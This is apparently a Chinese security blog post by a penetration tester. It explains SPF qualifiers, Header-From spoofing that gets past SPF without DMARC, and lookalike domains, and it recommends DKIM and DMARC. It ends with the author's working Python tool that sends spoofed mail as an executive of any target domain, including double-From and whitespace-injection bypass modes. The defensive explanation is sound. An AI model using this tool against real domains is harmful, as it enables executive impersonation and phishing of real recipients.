有关SPF邮件信息伪造的内容

为什么我能假冒你们 CEO 发邮件？（即便你以此为豪配置了 SPF）

很简单的一件事，就是客户的域名配置了 SPF，但是给的是软策略，基本上邮件都能通过，今天被监管通报了。

大概差不多就是这样吧，图是我后面补的。

关于邮件这一块我也了解得不深，基本不会遇到这种有效的漏洞，这次恰好测试就干脆记录一下。

有关 SPF 的查询，可以到这里进行：https://www.site24x7.cn/zhcn/tools/spf-validator.html

‍

状态会有 4 种，大概解释一下。

这四个符号（-, ~, ?, +）被称为 SPF 限定符 (Qualifiers)，它们决定了 “当发信 IP 不在允许列表中时，接收方该怎么处理”。

我们可以把邮件服务器比作小区的保安，IP 地址就是访客的身份证。

SPF 的四种状态码

1. Hard Fail

Copy
-all

含义：硬拒绝。只有列表里的 IP 能发，其他的全是伪造，直接拒收。

保安视角：“我手里有一份白名单。只有名单上的人能进。** 所有不在名单上的人，直接拿棍子打出去！** 连门都不让进。”

后果：邮件直接被 SMTP 层级拒绝（550 Error），发件人会收到退信。

举例：

配置：

Copy
v=spf1 ip4:1.1.1.1 -all

Copy
- **攻击**：黑客用 IP

Copy
2.2.2.2

伪造邮件。

Copy
- **结果**：QQ/Gmail 服务器说：“你不是 1.1.1.1，并且策略是 -all，**滚**。”

2. Soft Fail

Copy
~all

含义：软拒绝。不在列表里的 IP 也能发，但会被标记为 “可疑” 或垃圾邮件。

保安视角：“我手里有白名单。不在名单上的人... 我想拦，但我老板（管理员）怕拦错了客户。行吧，你进去吧，但我在你背上贴个条子：‘此人可疑’ 。”

后果：邮件会被接收，但极大概率进入垃圾箱，或者显示红色警告。

举例：

配置：

Copy
v=spf1 ip4:1.1.1.1 ~all

Copy
- **攻击**：黑客用 IP

Copy
2.2.2.2

伪造邮件。

Copy
- **结果**：能够发送成功，但受害者的收件箱里会显示“此邮件可能不是由 info@domain.com 发送的”，或者直接躺在垃圾箱里。这是目前互联网最常见的配置（为了防止误杀）。

3. Neutral

Copy
?all

含义：中立。不做任何声明。不管 IP 在不在列表里，我都 “不置可否”。

保安视角：“我手里没有名单，或者说我懒得管。你是谁？我不知道。能不能进？你自己问屋里人去。 ”

后果：SPF 检查结果是 Neutral，邮件通常会被放行进入收件箱（除非内容本身太像垃圾邮件）。这等于配置了个寂寞。

举例：

配置：

Copy
v=spf1 ip4:1.1.1.1 ?all

Copy
- **攻击**：黑客用 IP

Copy
2.2.2.2

伪造邮件。

Copy
- **结果**：大摇大摆进入收件箱，不做任何拦截。

4. Allow All

Copy
+all

含义：全通过。任何 IP 都是合法的发件人。

保安视角：“大门敞开！谁都可以进！ 面具人、强盗、骗子，统统欢迎！”

后果：任何黑客都可以完美伪造你的域名，且 SPF 检查结果是 PASS。

举例：

配置：

Copy
v=spf1 +all

(极少见，除非是测试或者蜜罐)

Copy
- **攻击**：黑客用 IP

Copy
2.2.2.2

伪造邮件。

Copy
- **结果**：邮件不仅进了收件箱，而且系统还告诉用户“这封邮件是通过 SPF 安全验证的哦”。**这是极度危险的配置错误。**

‍

符号 | 模式 | 伪造难度 | 后果 | 推荐度
-all | Hard Fail | ⭐⭐⭐⭐⭐ (极高) | 直接拒收 | 推荐 (只要确保 IP 没漏填)
~all | Soft Fail | ⭐⭐⭐ (一般) | 进垃圾箱 | 过渡期推荐
?all | Neutral | ⭐ (极低) | 进收件箱 | 不推荐
+all | Pass | ☠️ (无) | SPF Pass | 绝对禁止

很遗憾的就是客户设置的就是 ~all 导致邮箱伪造发信人通过。

后来测试已经 - all。

另外一种绕过可能：

我们域名早在八百年前就配了 SPF v=spf1 ... -all，硬拒绝策略！稳得很。

真的如此吗？

虽然 -all 防御了直接的 SPF 欺骗，但作为安全工程师，你必须知道单纯的 SPF -all 依然存在被绕过的可能，这就是为什么还需要 DMARC。

绕过场景（Header From 欺骗）： 如果攻击者稍微聪明一点，使用以下配置发送邮件：

Envelope From (信封发件人 / Return-Path) : attacker@evil-domain.com (攻击者自己的域名，且攻击者 IP 在 evil-domain.com 的 SPF 允许列表中 —— SPF 检查通过)

Header From (邮件头显示的发件人) : admin@baidu.com (你的域名)

结果：

邮件接收方检查 Envelope From 的 SPF，结果是 PASS（因为查的是攻击者的域名）。

用户在客户端里看到的却是 admin@baidu.com。

结论：如果没有配置 DMARC 来强制要求 “Header From” 和 “Envelope From” 保持一致，SPF -all 也无法防御这种 “挂羊头卖狗肉” 的欺骗。

在邮件协议这个古老的世界里，有时候 “看大门的” 和 “前台接待” 根本不是一伙人。

其实这也是很常见的一种邮件代发策略，简单扒一扒这个让绕过思路。

1. 邮件协议的 “精神分裂”

要理解这个漏洞，你得先知道一个冷知识：SMTP 协议是 40 多年前设计的。那个年代的互联网全是君子，大家互相信任，压根没考虑过有人会撒谎。

所以，SMTP 在设计上把 “信封” 和 “信纸” 完全分开了。

信封上的发件人 (Envelope Sender) ：这是给邮局（邮件服务器）看的，用来决定退信退给谁。

技术黑话叫 MAIL FROM 。

信纸上的落款 (Header From) ：这是给收信人（你我）看的，显示在 outlook 或手机屏幕上。

技术黑话叫 From 。

漏洞就在这儿： 现有的 SPF 检查，就像是一个看大门的保安。他非常尽职，但他只检查信封。 只要快递员（发送方服务器）拿的信封是合法的（比如我用网易账号发信，信封写的是网易，网易服务器当然认可），保安就放行了：“进去吧，没毛病。”

至于信封里面的信纸上，落款写的是 “马化腾” 还是 “丁磊”，保安压根不看。

这就是为什么我能绕过你的 SPF：

我的信封：用我的网易账号 (XXXX@163.com) —— SPF 检查通过！ (因为我确实拥有这个账号)

我的信纸：写上你们公司 CEO 的名字 (admin@baidu.com) —— 用户被骗！

这就叫 “挂羊头卖狗肉”。

2. 红队视角：花式绕过姿势

其实，只要你没上 DMARC，你在红队眼里基本就是裸奔。除了上面这种最经典的 “信头欺骗”，我们还有很多好玩的手段。

姿势一：“我帮朋友代发”

当你用 Outlook 或者手机收邮件时，有时候会看到一行灰色小字：“由 xxx 代发”。 这是邮件客户端良心发现，看到了信封和信纸不一致，特意提醒你。

这种提醒也可以通过注册相近域名自建 SMTP 解决。

姿势二：视觉欺骗

如果你的防御真的滴水不漏（上了 DMARC p=reject），那我就不攻击你的域名了， 我去注册一个 baidu.com.cn（把中间的 i 换成 l）。 在手机那么小的屏幕上，加上紧张的工作节奏，有几个人能一眼看出来？ 这种域名我自己注册的，SPF、DMARC 全套我都配齐，正规得不能再正规了，当然这是后话了。

3. 怎么修？

别再迷信 SPF -all 了，他不完全起作用。

要想真正关上这扇门，你得凑齐邮件安全套：

DKIM (防篡改) ： 这就好比给信封加了个封泥。发信时服务器用私钥盖个章，收信时验证一下。这样别人就不能在中途偷偷改你的邮件内容了。

DMARC (终极 BOSS) ： 这才是解决 “信封信纸不一致” 的唯一解药。 DMARC 就像是给保安下了一道死命令： “必须拆开信封检查！如果信纸上的落款跟信封对不上，直接把信给我撕了！”

建议配置：v=DMARC1; p=reject; aspf=s; adkim=s;

注意：别上来就 Reject，不然你们公司的市场部发不出去邮件会来砍你。先开 p=none 观察几天，再慢慢收紧。

4. 总结一句

邮件安全其实不难，难的是很多人还在用几十年前的老眼光看问题。 信任是脆弱的。 在这个零信任的时代，永远不要相信 “发件人” 那一行字，除非 DMARC 告诉你：它是真的。

‍

提供一个我写的测试脚本：

Copy
import dns.resolver
import smtplib
import argparse
import sys
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate, formataddr
from email.header import Header

def check_spf(domain):
"""
检查目标域名的 SPF 记录
"""
print(f"[*] 正在检查域名: {domain}")
try:
answers = dns.resolver.resolve(domain, 'TXT')
spf_record = None
for rdata in answers:
txt_string = rdata.to_text().strip('"')
if 'v=spf1' in txt_string:
spf_record = txt_string
break

if spf_record:
print(f"[+] 发现 SPF 记录: {spf_record}")
return spf_record
else:
print("[-] 未发现 SPF 记录。域名可能容易受到欺骗攻击。")
return None
except Exception as e:
print(f"[-] DNS 查询失败 (可能无记录): {e}")
return None

def analyze_spf(spf_record):
"""
分析 SPF 记录的安全性
"""
print("\n--- SPF 策略分析 ---")
if not spf_record:
print("[-] 未发现 SPF 记录: 极其危险！任何人都可以伪造该域名的邮件。")
return True # 无记录，易受攻击

if "-all" in spf_record:
print("[*] 策略模式: Hard Fail (-all)")
print(" 解释: 硬拒绝。明确告知收件方‘不在白名单的 IP 统统拒绝’。")
print(" 伪造难度: ⭐⭐⭐⭐⭐ (极高)")
print(" 注意: 除非你有 DMARC 绕过漏洞 (Header From 欺骗)，否则直接伪造 IP 会失败。")
return False
elif "~all" in spf_record:
print("[!] 策略模式: Soft Fail (~all)")
print(" 解释: 软拒绝。不在白名单的 IP 也可以发，但会被标记为‘可疑’或垃圾邮件。")
print(" 伪造难度: ⭐⭐⭐ (一般)")
print(" 注意: 邮件能发出去，但大概率进垃圾箱。")
return True
elif "?all" in spf_record:
print("[!] 策略模式: Neutral (?all)")
print(" 解释: 中立。不置可否，通常会被接收方放行进入收件箱。")
print(" 伪造难度: ⭐ (低)")
return True
elif "+all" in spf_record:
print("[!!!] 策略模式: Allow All (+all)")
print(" 解释: 允许所有。大门敞开，任何人都可以合法伪造。")
print(" 伪造难度: ☠️ (无)")
return True
else:
print("[?] 未检测到明确的 'all' 策略，默认安全策略未知，可能允许。")
return True

def send_fake_email(sender_domain, sender_address, target_email, smtp_host, smtp_port, smtp_user, smtp_pass, use_ssl, obfuscate=False, sender_name="System Admin", exploit_type='none'):
"""
发送邮件 function
"""
# 如果未指定具体的发件人地址，默认伪造 admin@domain
if not sender_address:
sender_address = f"admin@{sender_domain}"

subject = f"Work Report: {sender_domain}"
body = f"""
Hello,

This is a routine system notification.

Sender: {sender_address}
Server: {smtp_host}

Please confirm receipt.

Best regards,
{sender_name}
"""

msg = MIMEMultipart()

# --- 构造 From 头 (核心攻击逻辑) ---
fake_from = formataddr((Header(sender_name, 'utf-8').encode(), sender_address))

# 真实发件人 (用于欺骗过滤器) - 如果有认证用户，通常是认证用户
real_user = smtp_user if smtp_user else sender_address
real_from = formataddr((Header("Legit Sender", 'utf-8').encode(), real_user))

if exploit_type == 'double-from':
print("[!] 正在使用 USENIX'21 攻击: Double From Headers (双重头)")
# 插入两个 From 头
# 许多邮件系统在处理重复头时存在差异：有的看第一个，有的看最后一个。
# 策略：第一个放伪造的（给用户看），第二个放真实的（给 SPF/DMARC 看）
msg.add_header('From', fake_from)
msg.add_header('From', real_from)

elif exploit_type == 'space-injection':
print("[!] 正在使用 USENIX'21 攻击: Whitespace Injection (空格注入)")
# 在邮箱地址尾部注入空格 "admin@baidu.com "
# 某些解析器会包含空格导致正则匹配失败（从而绕过黑名单），但底层投递时又去掉空格。
malformed_address = f"{sender_address} " # 注意这里的空格
# 需要手动构造，因为 formataddr 可能会自动修正
msg['From'] = f"{Header(sender_name, 'utf-8').encode()} <{malformed_address}>"

elif obfuscate:
# 腾讯云文章思路: From 字段名截断绕过
print("[!] 正在应用 Header 混淆 (Padding)...")
padding = " " * 500
display_name = f"{sender_name} from {sender_domain}" + padding
msg['From'] = formataddr((display_name, sender_address))
else:
# 默认模式
encoded_name = Header(sender_name, 'utf-8').encode()
msg['From'] = formataddr((encoded_name, sender_address))

msg['To'] = target_email
msg['Subject'] = subject
msg['Date'] = formatdate(localtime=True)
msg.attach(MIMEText(body, 'plain'))

print("\n" + "="*40)
print(f"[*] 准备发送邮件...")
print(f" SMTP 服务器: {smtp_host}:{smtp_port} (SSL: {use_ssl})")
print(f" 认证用户: {smtp_user if smtp_user else '无 (匿名)'}")
print(f" 伪造发件人 (From): {sender_address}")
print(f" 目标收件人 (To): {target_email}")
print("="*40)

try:
server = None
if use_ssl:
server = smtplib.SMTP_SSL(smtp_host, smtp_port, timeout=10)
else:
server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
# 尝试 StartTLS
try:
server.starttls()
except:
pass

# 登录 (如果提供了密码)
if smtp_user and smtp_pass:
print("[*] 正在登录 SMTP 服务器...")
server.login(smtp_user, smtp_pass)
print("[+] 登录成功")

# 发送
# 注意: 真实的信封发件人 (MAIL FROM) 通常由 SMTP 服务器根据登录账号强制指定 (如 QQ 设置为登录邮箱)
# 但我们可以在 DATA 内容中修改 'From' 头来尝试欺骗客户端显示

# 为了测试“通过被盗用的/合法的SMTP服务器发送伪造邮件”，
# 通常 SMTP 服务器会强制 MAIL FROM 为登录用户，但可能允许 Header From 不同。
envelope_sender = smtp_user if smtp_user else sender_address

server.sendmail(envelope_sender, target_email, msg.as_string())
server.quit()
print("[+] 邮件发送成功！请检查收件箱 (包括垃圾箱)。")

except smtplib.SMTPAuthenticationError:
print("[-] 认证失败：用户名或授权码错误。对于 QQ 邮箱，请确保使用的是授权码而不是 QQ 密码。")
except Exception as e:
print(f"[-] 发送失败: {str(e)}")

def main():
parser = argparse.ArgumentParser(description="SPF 伪造测试工具 (支持 SMTP 认证)")

parser.add_argument("domain", help="要测试的目标域名 (例如 company.com)")
parser.add_argument("--to", help="接收测试邮件的邮箱地址")
parser.add_argument("--sender", help="伪造的发件人地址 (可选，默认 admin@domain)")

# SMTP 配置
parser.add_argument("--smtp-host", default="127.0.0.1", help="SMTP 服务器地址 (默认 127.0.0.1)")
parser.add_argument("--smtp-port", type=int, default=25, help="SMTP 端口 (QQ SSL 用 465)")
parser.add_argument("--user", help="SMTP 认证用户名 (例如 your_qq@qq.com)")
parser.add_argument("--password", help="SMTP 认证密码/授权码")
parser.add_argument("--ssl", action="store_true", help="使用 SSL 连接 (QQ 邮箱必须开启)")
parser.add_argument("--obfuscate", action="store_true", help="[进阶] 使用超长字符填充 From 头 (尝试绕过客户端显示)")
parser.add_argument("--name", default="System Admin", help="伪造的发件人显示名称 (例如 'IT 安全中心')")
parser.add_argument("--exploit-type", choices=['none', 'double-from', 'space-injection'], default='none', help="[核弹级] USENIX'21 论文攻击模式: double-from (双头欺骗), space-injection (空格注入)")

args = parser.parse_args()

# 自动处理用户可能输入的邮箱地址 (如 test@domain.com -> domain.com)
if "@" in args.domain:
print(f"[!] 检测到输入了邮箱地址 {args.domain}，自动截取域名部分...")
args.domain = args.domain.split("@")[-1]

# 步骤 1: 检查 SPF
record = check_spf(args.domain)
is_vulnerable = analyze_spf(record)

# 步骤 2: 发送测试 (如果提供了接收者)
if args.to:
if not is_vulnerable:
print("\n" + "!"*50)
print("[警告] 该域名 SPF 配置非常严格 (-all)。")
print(" 直接的 IP 伪造大概率会失败 (550 Error) 或被拦截。")
print(" 除非你正在测试 'DMARC 绕过/信头欺骗' (使用真实账号发信)，否则请做好失败准备。")
print("!"*50 + "\n")

send_fake_email(
sender_domain=args.domain,
sender_address=args.sender,
target_email=args.to,
smtp_host=args.smtp_host,
smtp_port=args.smtp_port,
smtp_user=args.user,
smtp_pass=args.password,
use_ssl=args.ssl,
obfuscate=args.obfuscate,
sender_name=args.name,
exploit_type=args.exploit_type
)
else:
print("\n[*] 未提供 --to 参数，仅进行 SPF 检查。如需发送测试，请添加该参数。")

if __name__ == "__main__":
main()

‍